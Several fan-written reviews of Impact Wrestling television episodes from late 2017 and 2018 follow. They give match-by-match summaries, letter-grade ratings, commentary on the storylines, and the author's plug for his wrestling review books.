Impact Wrestling – May 10, 2018: Get A Louder Bell

IMG Credit: Impact Wrestling

Impact Wrestling
Date: May 10, 2018
Location: Impact Zone, Orlando, Florida
Commentator: Josh Matthews

We’re still dealing with the Redemption fallout while also starting the build towards Slammiversary. Tonight’s big deal is Eli Drake cashing in his Feast or Fired briefcase for the World Title shot against Pentagon Jr. You also have Austin Aries roaming around near the title and some other people aren’t far behind. Let’s get to it.

Here are last week’s results if you need a recap.

We open with Josh Matthews in the studio talking about Sami Callihan wrecking a recent ceremony in Don Callis’ honor. Apparently Sami is livid at Callis for throwing in the towel to save Eddie Edwards at the WrestleCon show and wanted revenge.

There’s currently a meeting going on regarding Sami’s future. We’ll cut into whatever to let you know the outcome.

It’s off to the ceremony in Toronto with Anthony Carelli (Santino Marella) giving Callis an award. Cue Sami to attack Callis and beat him down while busting him open. Fine angle, but Callis has been on camera around here for less than a month. That’s quite a lot of faith to bet on fans caring about something like this.

The regular opening video talks about Drake vs. Pentagon.

Opening sequence.

Andrew Everett/DJZ vs. LAX

Santana and DJZ start things off with a rather speedy exchange until Ortiz comes in for some double teaming to take over. It’s off to Everett for a failed fireman’s carry gutbuster as Santana is keeping his eyes open for anyone trying to interfere. Santana’s cutter gives Everett two and Josh gives us updates on the meeting: it’s still going on. I’ll take nothing new Josh over nitwit/stupid/self praising Josh. Everett rolls over into a kick to Santana before rolling over to DJZ for the tag.

DJZ sends them together so Ortiz DDTs Santana in that spot that is still so stupidly contrived. A double kick takes DJZ down but a double kick takes LAX down. Everything breaks down and DJZ tornado DDTs Ortiz, only to walk into a Santana superkick. Everett hits a very good looking top rope Asai moonsault to drop Ortiz but Ortiz is up a few moments later for a suicide flip dive. The Street Sweeper is broken up and DJZ rolls Ortiz up for the pin at 8:28.

Rating: B-. This is a good idea as there’s only so much you can do with a two or three team tag division. Everett and DJZ aren’t breaking the mold or anything we haven’t seen before but the division needs bodies right now and there’s nothing wrong with that. LAX’s downward spiral is interesting and I’m kind of curious to see what’s behind the whole thing. Nice match too.

Grado is still waiting on his girlfriend but Joseph Park says he smells a rat. Cue Katie Lea Burchill/Winter (now known as Katarina) name she’s going by now to hug Grado and say she’ll see “James” (Park) later.

Austin Aries wants Eli Drake to win tonight because he knows he can beat him.

Rohit Raju vs. Grado

Before Josh can say it: WHO IS THE DESI HIT SQUAD AND WHY SHOULD I CARE? Raju jumps Grado while he gives Katarina his hat but can’t suplex the rather rotund one. Some running boots to the face in the corner give Raju two and we hit the chinlock. Grado is back with a side slam and a falling splash, which Josh calls unique. That would be true, if Ortiz didn’t do the same thing in the previous match.

We go split screen for a second to show that the meeting is still going. Grado takes too much time with his dancing punches and gets kneed in the face. A swinging fisherman’s neckbreaker gets two but Grado is right back with an elbow to the head and the Cannonball for the pin at 5:39.

Rating: D. I never cared for Grado in the first place and now I’m not sure if he’s supposed to be a heel or a face. By nature he’s a face but if you put a hot manager with anyone, it’s going to make them a heel almost by default. Unless Katarina is with him to stay in the country or just using him or something, I’m not sure I get this.

Joseph Park is the latest X victim. Given that one of his finishers is called Weapon X, Cage is a possible suspect.

Video on Tessa Blanchard, who has wrestling in her blood and has to be the best.

Eli Drake and Scott Steiner are in the back with Drake saying tonight, he becomes the new belt collector. Steiner doesn’t like the idea of Drake saying he’ll do this himself.

Drago vs. Aerostar vs. Taiji Ishimori vs. El Hijo Del Fantasma

Lucha rules and the winner gets a future X-Division Title shot. Now that’s all I ask. Ishimori and Fantasma are sent to the floor in about thirty seconds, leaving Drago and Aerostar to trade covers. The other two replace them in a hurry and a tilt-a-whirl backbreaker gets two on Ishimori. A good looking middle rope moonsault to the floor drops Drago and we take a break.

Back with Drago kicking Fantasma in the mask and hitting an ankle scissors to take Fantasma down again. Ishimori comes back in with a Regal roll for two on Drago. All four get back in and Fantasma superkicks Drago down. Ishimori drops Fantasma as well and all four are down for a bit. Drago is sent outside for a dive from Ishimori, followed by a dive each from Fantasma and Aerostar. Back in and Aerostar powerbombs Ishimori into the corner for two but the Thrill of the Kill gives Fantasma the pin on Aerostar for the pin at 16:43.

Rating: C+. This didn’t have the energy or the pace as last week’s six man but thank goodness they did something about giving us a new #1 contender. You can’t have these guys out there doing all kinds of crazy stuff and popping the crowd and not move them up, at least a little bit. Good match here, as you probably expected.

Eddie Edwards goes into the meeting and demands that Callihan not be fired. Management tells him to do what he has to do away from the Impact Zone.

From House of Hardcore in Fort Wayne, Indiana.

Moose vs. Kongo Kong

Joined in progress with Moose hitting a dropkick but getting thrown to the floor. Kong follows him out and whips Moose into the barricade as Josh talks about Callihan and Edwards over and over. Kong’s waistlock doesn’t get him very far so he sends Moose shoulder first into the post. Moose switches to a more simplistic offense by shouldering him down but Jimmy Jacobs comes in with a chair for the DQ at 6:08.

Rating: D. Leave it to Kong to pull the good match streak to a grinding halt. I still don’t care for these matches from outside promotions but at least they have something here where it’s continuing a storyline with people we know. Unfortunately one of those people is Kong and I still have no clue why he’s getting so much time, unless he works for dirt cheap.

KM wants Fallah Bahh to become the best man that he can and we get shots of them screaming into the camera.

Montage of KM training Bahh to make him lose weight while eating various bad food. Bahh passes out.

From Pro Wrestling Noah and if what I can find is correct, this is from June 4, 2017.

Brian Cage vs. Takashi Sugiura

Joined in progress with Cage hitting a delayed vertical suplex, followed by a standing moonsault for two. Josh: “If the Avengers ever needed a new member, and they do after Infinity War, they should get Brian Cage.” That’s getting rather close to a spoiler. Cage hits the apron suplex for two more but Sugiura knees him down and hits some running knees in the corner.

A superplex attempt is broken up but Sugiura snaps off a top rope hurricanrana to put both guys down. There’s a buckle bomb to drop Sugiura and an F5 gets two. A German suplex and running knee give Sugiura the same but Cage blasts him with the Tornado Claw for two more. The Drill Claw is good for the pin on Sugiura at 7:49.

Rating: C. They really couldn’t find another match from within the last ten months and had to go this far back? The World Tour idea is fine but come up with something a little more recent. The match was watchable, though telling me who Sugiura was would have been nice, albeit completely beyond Josh’s capabilities. As someone who doesn’t watch Noah, I have no idea if that was a big, middle of the road or meaningless win for Cage, because I don’t know if Sugiura is an all time great, a midcarder, or a jobber. I’m sure I could find it, but Josh and Impact need to be telling us these things. Why that’s so much to ask, I’m not sure.

From Destination X 2009, Suicide wins the X-Division Title.

Allie is looking in a mirror and has flashbacks to last week. She finds a doll with a note pinned to it and opens it up. While we don’t see what it says, Allie looks a little disturbing when she looks in the mirror, almost like something is trying to take control of her.

Impact Wrestling World Title: Eli Drake vs. Pentagon Jr.

Pentagon is defending and Steiner isn’t here with Drake. They trade catchphrases to start and Drake sends him into the corner to stand on his head. Back to back Sling Blades give Pentagon two as Aries is watching in the back, banana in hand. A powerslam cuts Pentagon off as we’re told that next week, House of Hardcore will present Edwards vs. Callihan in a street fight. At least there’s a storyline reason for going to another promotion this time.

We hit the chinlock for a bit before Pentagon headscissors Drake out to the floor. A superkick to the ribs knocks Drake out of the air and the Codebreaker out of the corner gets two. The Gravy Train doesn’t work and Drake misses a top rope Lionsault, allowing Pentagon to hit the Pentagon Driver for the pin at 7:09.

Rating: D+. Uh, where’s the rest of this match? Pentagon defends against a guy who was World Champion about three months ago and it’s barely hyped up and seven minutes long with a clean finish? We didn’t deserve a little more than that for a match like this? Anyway at least the briefcases are already done instead of having them hanging over our heads like the Money in the Bank briefcases so score one for Impact.

Overall Rating: C+. This show was on a roll in the first hour and then rolled off a cliff in the second with some bad matches and lame ideas that didn’t go anywhere. They’re doing a better job of setting up the other promotions’ matches as they seem to have a point now, at least some of the time. The show was watchable but they need to put it together in a better order to really make things work. That and get a louder bell. Seriously I had to rewind four matches tonight to hear where they started. Get something louder.

Results

Andrew Everett/DJZ b. LAX – Victory roll to Ortiz

Grado b. Rohit Raju – Cannonball

El Hijo Del Fantasma b. Aerostar, Taiji Ishimori and Drago – Thrill of the Kill to Aerostar

Moose b. Kongo Kong via DQ when Jimmy Jacobs interfered

Brian Cage b. Takashi Sugiura – Drill Claw

Pentagon Jr. b. Eli Drake – Pentagon Driver

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Impact Wrestling – March 1, 2018: If You Can’t Figure This Out…

IMG Credit: Impact Wrestling

Impact Wrestling
Date: March 1, 2018
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, Sonjay Dutt

It’s the week before the big Crossroads show and that means it’s time to build things up a bit. Next week’s main event will see Austin Aries defending the World Title against Johnny Impact in what could be an awesome match. Other than that though we’re likely in for more build towards Abyss vs. Kongo Kong, because that’s what we need to see. Let’s get to it.

Need a recap?  Here’s last week’s review.

The opening video looks at Ethan Carter III and Tyrus reuniting and then splitting up in very short order. That’s the smart move considering Carter is leaving.

Opening sequence.

Ethan Carter III vs. Tyrus

Carter runs his mouth (as is his custom) and is promptly shoved out to the floor. Back in and Carter gets shoved outside again as Josh talks about all the other companies they’ll be visiting soon. Carter stalls a lot, including messing with a fan’s phone, before going back in to have his arm cranked.

Chops and running clotheslines have no effect on Tyrus and it’s Carter being crushed in the corner. A charge misses though and Carter gets in a few shots to the back. Carter’s middle rope ax handle drops Tyrus and we hit the cravate. Tyrus shrugs it off and hits a corner splash before hitting his own 1%er. The Tongan Death Grip slam is enough to end Carter at 8:13.

Rating: D+. Assuming this is it for Carter, I’ll give this one a break with him leaving the company for blacker and yellower pastures. It’s certainly a better way to have him go out than having Dixie Carter grab his foot and beg him to stay. I’m not sure on Tyrus being the one to get the rub but it’s better than having Carter just leave.

Joseph Park is going to fight Kongo Kong tonight on his own, but neither he nor his family seems to give him much of a chance.

OVE and Sami Callihan say this is no longer fun and games. Violence takes place tonight.

Josh and Sonjay are in a studio to preview the rest of the show. Better than them saying they’re ringside every week.

El Hijo de Fantasma vs. Braxton Sutter

Hijo’s Latin American Championship isn’t on the line and there’s no entrance for Sutter. Hijo shoulders him down to start as Josh plugs the network, featuring a bunch of names that aren’t around anymore. Some clotheslines put Fantasma down for two but the chinlock doesn’t last very long. A backbreaker gives Fantasma two and a jumping superkick puts Sutter on the floor for the hard suicide dive. Back in and Sutter powerbombs him for two with his feet on the ropes. Not that it matters as Fantasma’s Thrill of the Hunt (Samoan Driver) is good for the pin at 5:14.

Rating: C-. This felt like angle advancement more than anything else as Fantasma is now a big deal around here because he’s a big deal in AAA. Sutter on the other hand….what happened? He and Allie should have been moved up several notches last year off the wedding angle but instead we’re here, seeing him losing in five minutes. I’m sure this was the best possible use for him though.

Post match Sutter yells about how Allie isn’t here because she ruins lives. He’s the biggest star in the company….and cue Brian Cage to wreck Sutter in short order.

Matt Sydal wants to share his spiritual adviser with the world.

Sydal is ready to win the X-Division Title next week but Taiji Ishimori comes in with his own scroll, asking if Sydal will make it title for title. No answer is given.

Kongo Kong vs. Joseph Park

Park goes after him but gets dropped with a single shot to the chest. Kong hammers away in the corner and Park’s headbutt knocks himself down. The top rope splash puts Park away at 2:14.

Post match Jimmy Jacobs gets in while Kong chokes Park. They still want Abyss and this is just getting started.

The Cult of Lee is having a party when the Mumbai Cats come in. After making fun of the masked men and not letting them have a drink, Konnan comes in to wonder why the Cult of Lee isn’t doing cartwheels in Wonder Woman bikinis. They say Konnan is here before and if you don’t know what’s coming, you haven’t been watching wrestling long. LAX throws Lee and Konley into the pool.

Alberto El Patron should be #1 contender. Well to be fair he hasn’t had a World Title match in like two weeks at this point.

Rosemary vs. Hania

Rosemary wastes no time in hammering away at the chest and gets two off a clothesline. A very early Red Wedding attempt is broken up but Rosemary is right back up with her figure four neck lock over the ropes. Hania gets dropped with a dropkick and a t-bone suplex for two. A spear into the Red Wedding is good for the pin on Hania at 3:13. Total squash.

Rating: D. Odds are that’s it for Hania and other than a look, I’m not sure what else she had to offer. This was complete destruction with Hania getting in absolutely nothing, which should tell you that she’s either done or not exactly thought of in the first place. Rosemary getting back towards the title is a good idea though and she should be going after the title in short order.

Post match Rosemary says Hania was just a puppy and now it’s time to bring the Knockouts Title back to the shadow. Rosemary dubs herself the Alpha B**** but here’s the returning Taya Valkyrie to disagree. Taya says the only truth in that is the B**** part but it should be Taya’s, not Alpha. They both go to the apron but Taya jumps her from behind. The Road to Valhalla on the ramp drops Rosemary.

This week’s classic clip: Eddie Edwards wins the World Title from Bobby Lashley.

We get a somewhat creepy video on Laurel Van Ness’ rocky road, including her near wedding to Braxton Sutter, going crazy, nearly marrying Grado, and now her commitment ceremony to the Knockouts Title.

KM, the minister for the ceremony, brings the title, with a bow tie, to the ring. Laurel comes out in a dress with the lipstick being all over the place as usual. She wants him to get to the good part, meaning the objections. Cue Braxton, now in a neck brace, to interrupt. He was dropped on his head earlier and Laurel flashed before his eyes. A year ago, he made a huge mistake when he left her at the altar. He proposes, but she screams NO over and over. KM: “EPIC FAIL BRO!” Laurel asks for more objections and even shouts a request for them. Cue Allie, in a black body suit which isn’t really necessary as she’s sneaking in, to jump Laurel and ruin the ceremony.

The announcers preview next week’s show.

Video on Austin Aries vs. Johnny Impact for the World Title next week.

Sami Callihan vs. Eddie Edwards

Eddie sends him outside for the suicide dive five seconds in but Sami rolls back in to hit one of his own eleven seconds in. Eddie hits another though and we get to thirty seconds on the replays. Some chops rock Sami and OVE is ejected for a distraction. Sami gets in an apron kick to the face though and we take a break. Back with Eddie fighting out of a chinlock and chopping away, but getting caught in a piledriver on the apron. Since this is a regular TV match though, Sami doesn’t even bother to cover.

Eddie fights out of something like a standing Crossface and kicks Sami in the face to catch him on top. A superplex brings Sami back down for no cover as Eddie can’t follow up. The Backpack Stunner gets two but Sami is right back with the running knee in the corner. A slingshot suplex neckbreaker gives Sami two and an exchange of kicks to the head puts both guys down. Sami loads up a powerbomb but Eddie backdrops into a cradle for the pin at 15:04.

Rating: C+. I liked this better than most Sami matches as it actually felt like a match. I’m still not sure why Sami and OVE are going after Lashley and Eddie but I’m guessing it’s something to do with the team being insane. Eddie winning makes sense as it’s not like a member of the team losing a singles match to a former World Champion is a huge blow.

Overall Rating: C. You can see where they’re going with a lot of stuff and they set up next week’s show well enough. The World Title match didn’t need a ton of hype as that’s big enough on its own standing. The wrestling wasn’t anything great here but at least we’re getting towards the big show. If that works, then this doesn’t matter nearly as much. Pretty standard buildup show here and I can settle for that.

Results

Tyrus b. Ethan Carter III – Tongan Death Grip slam

El Hijo de Fantasma b. Braxton Sutter – The Thrill of the Hunt

Kongo Kong b. Joseph Park – Top rope splash

Rosemary b. Hania – Red Wedding

Eddie Edwards b. Sami Callihan – Rollup

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Impact Wrestling – January 11, 2018: Let Me Talk To Ya About Getting Someone New

Impact Wrestling
Date: January 11, 2018
Location: Aberdeen Pavilion, Ottawa, Ontario, Canada
Commentators: Josh Matthews, Jeremy Borash

After last week’s stacked card containing four title matches and a loser leaves town match, it should be interesting to see what the company has for a follow up. There’s a good chance that they won’t have nearly as much to offer tonight and you really can’t blame them on that front. Let’s get to it.

We open with a recap of last week’s major events, including the two title changes and James Storm’s career ending. Thankfully they ignore that stupid World Title clip fest.

Opening sequence.

Here are Bobby Lashley and Dan Lambert to get things going. Impact has surprised Lambert as he never thought it would be this resilient. Lambert is here for two reasons. First is to have a moment of silence for James Storm’s career. Since he’s unemployed, maybe the fans can put together a collection and get him some beer money (good line, as Lambert is still one of the best promos in this company).

Lambert is also here to bring out the newest member of American Top Team. This man could do what Lashley couldn’t do when he put Storm down. Lashley isn’t happy and it’s even worse when the new member is revealed to be KM. We get the shirt presentation before KM says he’s proven himself by taking out everyone in front of him, capped off by helping Lambert to get rid of Storm. KM mentions getting rid of Moose, who comes out way faster than he should. The fight doesn’t last long as Moose gets beaten down until Eddie Edwards makes the save. Lashley has to pull Lambert from the ring.

Like I said, Lambert is a great promo but this story has long passed its expiration date. It’s been going for several months now and there’s no real reason to keep it going at this point. They’ve covered the MMA vs. wrestlers thing (with the MMA guys dominating) and now they’re just regular heels. That’s all well and good and Lambert shifting towards being a regular manager is better, but this is living on borrowed time to put it mildly.

Post break, the obvious tag match is made.

The announcers recap last week’s show again.

Here’s Grand Champion Ethan Carter III to issue an open challenge for the title. First though, Carter needs to mock Matt Sydal for choking over and over again every time he has a chance to win the big one. Sydal chokes so much he might as well play forward for the Ottawa Senators. That gets the expected heat from the crowd and now the open challenge is on.

Grand Championship: Ethan Carter III vs. Petey Williams

Carter is defending of course….and there are no judges or any mention of the round system. Could it be true? Did my New Year’s wish come true? Well at least the one regarding the Grand Championship? The fans are way into Petey and a headscissors makes those cheers even louder. He ties Carter in the Tree of Woe as we hear, for the second time in the match, about what a great comeback story Williams was in 2017.

Carter sends him into the corner and chokes on the rope, followed by a knee to the ribs. A waistlock keeps Petey down for a bit but he reverses into a side roll for two. The Canadian Destroyer is countered into a TK3 for two and Petey is sent outside. As Petey holds his knee, Sydal runs in for the DQ at 4:49. There was no mention made of the round system and judges being dropped.

Rating: D. This was too short to mean much but I’m more interested in this seemingly turning back into the TV Title. I’m guessing Sydal’s promo last week where he suggested a regular match for the title is all we’re getting and I’m really fine with that. The round system was a bad idea from the first day and the thing should have just been a regular midcard title. This is the right move and gets rid of a problem that doesn’t need to exist.

Allie isn’t happy with Laurel Van Ness attacking her last week. She’s not the weak little Allie anymore and she’s ready to play if Laurel wants to. Much more serious here, but still with a hint of the old Allie in there, as there should be.

Alberto El Patron isn’t happy.


Sydal says Carter can’t call him out and not expect to pay the consequences. He wants a title shot with a sixty minute time limit and no rounds (“That’s out”) and no judges (“They’re gone). If Carter can beat him there, then he’ll get a handshake and a hug. The challenge makes sense, and PLEASE let that be a permanent change.

We see James Storm winning the World Title from Kurt Angle in less than two minutes on October 20, 2011.

KC Spinelli vs. Laurel Van Ness

Non-title. Laurel takes her straight into the corner and knees her in the ribs before yelling at Spinelli for touching her fur coat. Spinelli slaps her right back but gets kicked in the face for her disrespect. A bridging vertical suplex (that’s a new one for some reason) gets two on Laurel and they kick each other in the face at the same time. Laurel is up first and a curb stomp into the Unprettier is good for the pin on Spinelli at 5:22.

Rating: D+. This was fine as a way to get Laurel a win under her belt and that’s always a good idea. Of course it would have been a good idea to have Spinelli work a match on Impact before they showed her in the Canadian promotion but that’s another problem for later. If nothing else, Laurel’s gimmick is really starting to work for her. She looks outstanding in her gear but the shots of her face are nothing short of unnerving.

Post match Allie comes in and beats on Laurel before holding up the title.

Here are Eli Drake and Chris Adonis for a championship address. Adonis channels a little Rick Rude with a “what we’d like to have right now” to introduce for the champ. Drake calls anyone who lives in this horrible weather year round a dummy before holding up the title. He shifts his attention to Alberto, who came back all upset but then thought he could swim with the big fish.

Drake is standing here with the title and Alberto should have stayed at the bar. He’ll defend the title again next week in Detroit but here’s Alberto to interrupt. Alberto, now a full on face again, says he’d love to beat Drake around the ring next week. He wants to fight now but here’s Johnny Impact to interrupt. Johnny has heard about both of them being in Detroit so he’ll have to join the party. The brawl is on with Johnny getting the better of it. Drake has already beaten both of these guys and I’m really not sure why we need to see these three fight any more, save for the company has nothing else to do at this point.

We look at Raven having his head shaved back in 2003.

Recap of the opening segment.

American Top Team (now just Lambert, Lashley and KM) are in the back and Lambert gives KM all of the credit for getting rid of Storm. Lashley isn’t happy.

Chandler and Joseph Park are glad about Chandler’s win last week. Jimmy Jacobs comes up to ask what happened to Abyss. Jacobs: “You used to be the guy that put people into ambulance and now you’re the guy chasing ambulances.” Chandler, in a nasal voice, stands up to Jacobs because Joseph is family. Jacobs steps aside so Kongo Kong, who Jimmy says is family to him can come in. Chandler: “So scary!” I like the Parks but I could go without seeing Jacobs or Kong ever again, especially the latter.

OVE wrecks LAX’s clubhouse. Good grief ENOUGH BETWEEN THESE TEAMS ALREADY! Post break LAX finds the wrecked clubhouse and says it’s time to go back to their roots. Barbed wire is mentioned.

Cult of Lee/Hakim Zane vs. Dezmond Xavier/Garza Jr./Sonjay Dutt

Garza headbutts Zane around to start and brings in Xavier to trip him up a few times. A dropkick to the back of the head sends Zane outside as everything breaks down. Back from a break with Zane charging into Dutt’s boot in the corner as Lee poses in the corner. Zane actually gets in a few shots to the back and hands it off to Konley for a double arm crank. Lee kicks at the chest as we hear about Ishimori defending the title in Japan.

Even Zane gets to come in for a chinlock until Dutt dropkicks him down. The hot tag brings in Garza to clean house but hang on because IT’S TIME FOR GARZA TO TAKE OFF HIS PANTS! It’s so distracting that Konley and Lee don’t notice Zane’s missile dropkick which hits them by mistake. Dezmond comes in and hits the Final Flash for the pin on Zane at 10:27.

Rating: C-. This was your run of the mill X-Division match and that’s the big problem: even when you get someone like Xavier or Ishimori, they’re stuck with these generic heels who don’t do anything to set themselves apart. Why should I be interested in seeing people defeat weak talents and not get to show off what they can do? It’s a big reason why the division is boring and I don’t see that changing anytime soon.

Post match Ishimori comes out and holds up the title in front of Xavier. They shake hands before their title match next week.

Also next week: Kongo Kong vs. Chandler Park and clips of the triple threat match from Detroit. You know, a match we can’t have HERE. Also, a barbed wire match with OVE vs. LAX.

Moose/Eddie Edwards vs. KM/Bobby Lashley

It’s a brawl to start until we settle down to KM vs. Moose. Some chops in the corner have KM in trouble but he avoids Edwards’ elbow, allowing the beatdown to begin. Back from an early break with Lashley slamming Eddie for two but missing a charge to fall outside. Moose comes in for a double elbow to KM, followed by Eddie jumping on Moose’s back for a double backsplash. Edwards gets posted though and the heels take over again.

Lashley’s neckbreaker doesn’t even get one as Moose is in there IMMEDIATELY for the save. Eddie reverses a suplex to put KM down but Lashley breaks up the tag attempt. Lashley charges into a knee though and a middle rope dropkick puts him down. A crawl through the legs is enough to bring in KM and Moose’s middle rope chokebomb gets two. KM gets low bridged to the floor and Eddie follows him out with the suicide dive. Lambert gets in a cheap shot though and KM’s powerbomb into a Backstabber is enough to pin Eddie at 14:46.

Rating: D+. This was a way to establish KM as a member of the team but it should also help further the wedge between Lambert and Lashley, likely leading to Lashley turning face. I’m not sure why this is considered a big deal when people turn around here so frequently (including Lashley) but that’s certainly better for a conclusion to the story than anything else I’ve seen so far.

A preview of OVE vs. LAX wraps us up.

Overall Rating: C. Not a bad show this week as they were advancing a lot of stuff while getting ready for some of the bigger matches down the line. You need that kind of show, especially coming off of a bigger episode like last week. That being said, I have no idea why we can’t have a World Title match in the arena the show is airing from. It doesn’t feel right and comes off like it’s less important than everything else. Fix that up and the title seems more important. Other than that, they’ve got some good stuff going here and it’s not a huge falloff coming out of last week. Not a good show, but it did its job well enough.

Results

Ethan Carter III b. Petey Williams via DQ when Matt Sydal interfered

Laurel Van Ness b. KC Spinelli – Unprettier

Dezmond Xavier/Sonjay Dutt/Garza Jr. b. Cult of Lee/Hakim Zane – Final Flash to Zane

KM/Lashley b. Moose/Eddie Edwards – Powerbomb into a Backstabber to Edwards

Remember to follow me on Twitter @kbreviews and pick up the Monday Nitro and Thunder Reviews Volume VI: July – December 1999 in e-book or paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/11/22/new-book-kbs-monday-nitro-and-thunder-reviews-volume-vi/


And check out my Amazon author page with cheap wrestling books at:


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Impact Wrestling – November 23, 2017: Perfectly Harmless Fun

Impact Wrestling
Date: November 23, 2017
Location: Aberdeen Pavilion, Ottawa, Ontario, Canada
Commentators: Jeremy Borash, Josh Matthews

We’re getting into the swing of these Canadian tapings but there’s a good chance this show isn’t going to mean much for the most part due to the holiday. The big story tonight is the return of Johnny Impact and Alberto El Patron after one full week away. It’s hard to say what they’ll do, though I’d put my money on brawling. Let’s get to it.

Opening sequence.

Tonight, the Turkey Bowl is back. There’s a match between a bunch of people and the loser gets put in a turkey suit.

The Turkey Bowl is so cool that we need to go back to the 2008 version!

Sheik Abdul Bashir vs. Rhyno vs. Alex Shelley

Bashir is X-Division Champion and helps Shelley for a double team on Rhyno. That goes nowhere as Rhyno easily slugs both of them away and scores with a belly to belly for two on Bashir. Clipped to Rhyno getting double teamed again but the others keep getting in an argument over scoring the pin (and a $25,000 prize). Bashir rolls Shelley up for two but gets caught in a super atomic drop. Rhyno uses the distraction to Gore Shelley for the pin at 2:48 shown.

Post match, Mick Foley tells Shelley he has to put the suit on but Shelley doesn’t want to. See, the women won’t be happy and that would hurt the ratings. That’s cool with Foley, but Shelley is fired if he doesn’t do it. Shelley finally puts it on and Foley makes gibblet jokes. Foley: “Is that a gizzard in your pocket or are you just happy to see me?” The suit goes on and more jokes are made. If this is the case, I can go with it more than holding a regular show on Thanksgiving.

Robert Irvine has prepared a Thanksgiving dinner and I think you know where this is going later in the night.

We hear some Thanksgiving memories from wrestlers.

Eli Drake and Chris Adonis interrupt the Thanksgiving festivities and tells a story about his daddy’s mashed potatoes, which is one of the things his family does best (along with beating people up of course). The Turkey Bowl is now Eli Drake’s Gravy Train Turkey Trot and we’ll be drawing some random names for the five on five match. One team will be captained by Eddie Edwards.

Eddie is excited and says this is a big check off his wrestling bucket list.

The other captain is El Hijo Del Fantasma, who says Thanksgiving doesn’t mean anything in Mexico. It sounds like a party though and every party needs chocolate.

Video on the upcoming Knockouts Title tournament. It ticks Sienna off, making me think that Sienna has some intelligence to her.

Wrestlers list their favorite Thanksgiving foods.

Preview for next week’s show, including Johnny Impact vs. Alberto El Patron.

From 2011.

Robbie E. vs. Eric Young

Joined in progress with Robbie beating up the turkey suit before dropping a middle rope elbow for two. We’re clipped to Young hitting a piledriver for the pin at 1:12 shown.

Post match, Robbie is still out so he can’t put on the suit. Therefore, Young says Robbie’s buddy Robbie T. can put it on instead. The referee says that if T. doesn’t, E. loses the TV Title (yes they had the TV Champion lose a match like this) so the suit goes on.

Caleb Konley joins Team Fantasma and Trevor Lee isn’t too happy with it.

Richard Justice is on Eddie’s team but he’s worried he can’t fit in the suit.

Various wrestlers are thankful for various things.

KM is on Fantasma’s team but doesn’t care about anything other than impressing American Top Team.

Laurel Van Ness is also on Team Edwards (despite being a villain) and makes turkey noises.

Wrestlers talk about Thanksgiving memories.

From 2016.

Robbie E. vs. Grado

I think we’re in comedy match territory. They trade fists to start but it’s a fist pound instead. That leads to back to back nipple twists before a double clothesline puts both guys down. Both guys try rollups with feet on the ropes but enforcer Aiden O’Shea cuts them off. Grado tries a sunset flip but Robbie sits on him for the pin at 2:49.

O’Shea makes Grado put the suit on but he starts to get into it. Dancing ensues.

Fallah Bahh is in the match as well. I’m assuming on Team Fantasma if they’re still alternating picks. Bahh can only say his last name and gobble gobble.

Garza Jr. is in as well and says everyone in the tournament (What tournament?) is underestimating him due to his injury.

The final entrant, and announced as a team captain, is Chris Adonis. Wait so was it five in a row or alternating? Why would they not just say that the first and last names pulled out are captains? My goodness how can they manage to screw up PULLING NAMES OUT OF A HAT??? Would a graphic have been too much to ask for?

Adonis rallies his team as we’re just forgetting the whole “Fantasma is captain” thing.

Team Edwards is ready.

Team Edwards vs. Team Adonis

Eddie Edwards, Garza Jr., Allie, Fallah Bahh, Richard Justice

Chris Adonis, Caleb Konley, Laurel Van Ness, KM, El Hijo Del Fantasma

The loser of the fall wears a turkey suit and there’s food at ringside, along with Eli Drake. We’re not ready yet though as the teams sit down at the food tables as Drake insists that everyone has to put on the suit if they lose. He has a statement for JB to read, which pretty much just says everyone play nice.

Justice sticks his finger in Konley’s mouth to start and gets two off a rollup. Laurel comes in and jumps on Justice’s back so it’s off to the women for a change. KM and Bahh are up next with some shots to Bahh’s head taking us to a break. Back with Bahh crossbodying KM and bringing in Garza….WHO TAKES OFF HIS PANTS! I’m rather thankful.

Garza gets punched down though and it’s time for the heel beatdown. Adonis comes in for two off a legdrop and it’s time for a bearhug (on a guy with a bad shoulder). That goes nowhere and the hot tag brings in Eddie to clean house. Everything breaks down in a hurry and KM gets crushed between Justice and Bahh.

We get the big crash to the floor and Justice falls off the apron, only to be caught without much effort. Allie dives onto everyone to break up the pile and everyone is down. Back in and Adonis can’t grab the Adonis Lock, allowing Eddie to roll him up for the pin at 16:04, meaning Adonis gets to wear the suit.

Rating: C-. Oh what were you expecting here? This was all in good fun and nothing more than a comedy match. The match was just there for the sake of having a one off match for a holiday special and as a result, it’s really hard to be harsh on it. Adonis having to wear the suit is fine and it continues a (rather goofy) tradition. It wasn’t anything good, but it’s perfectly harmless.

Post break, Adonis refuses to wear the suit. Security actually stops him as the referee holds up the suit like an executioner’s ax. After a lot of persuading and a GOBBLE GOBBLE (One of us?) chant, Adonis finally puts it on and walks around a bit. Adonis isn’t cool with the chants though and the required food fight, with Adonis hitting Drake in the face with a pie, ends the show. This was actually entertaining as they just went with the simple comedy and it worked perfectly well.

Overall Rating: C. Just like the main event, this was nothing you needed to see but it’s completely harmless fun. I’m rather glad they didn’t waste a regular show on a night where even fewer people than usual would be watching. Just let the show be a lighter edition for a change and get back to the regular stuff next week. This was an easy show to sit through and that’s all it should have been. If you ignore the more complicated than necessary name drawing system (Just throw up a graphic so we know who is on which side. Or drop the captains entirely as they didn’t mean anything.), this was a fun little show and that’s a good sign.

Results

Team Edwards b. Team Adonis – Rollup to Adonis

Remember to follow me on Twitter @kbreviews and pick up the Monday Nitro and Thunder Reviews Volume VI: July – December 1999 in e-book or paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/11/22/new-book-kbs-monday-nitro-and-thunder-reviews-volume-vi/


And check out my Amazon author page with cheap wrestling books at:


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Impact Wrestling – November 9, 2017: Canadian Violence

Impact Wrestling
Date: November 9, 2017
Location: Aberdeen Pavilion, Ottawa, Ontario, Canada
Commentators: Jeremy Borash, Josh Matthews

It’s time for a new year for Impact and that means we’re on a new taping cycle. Things should be a lot more energetic this week as we start to see what the latest new brain trust has in store for us. Eli Drake is still World Champion and we’ve proven that MMA is better than wrestling so let’s get to it.

Josh and JB are in the ring to run down some of the card.

We see a package from Bound For Glory.

Here are Eli Drake and Chris Adonis for the victory speech. Adonis has to tell the fans to stop cheering for Drake so he can introduce him as Canada’s favorite wrestler. With a bit of an echo in the arena, Drake says this was exactly how the plan was supposed to go. Now a JOHNNY chant cuts him off (sounds like they’re People Power fans) but he’s tired of hearing about Alberto El Patron being mistreated by the company.

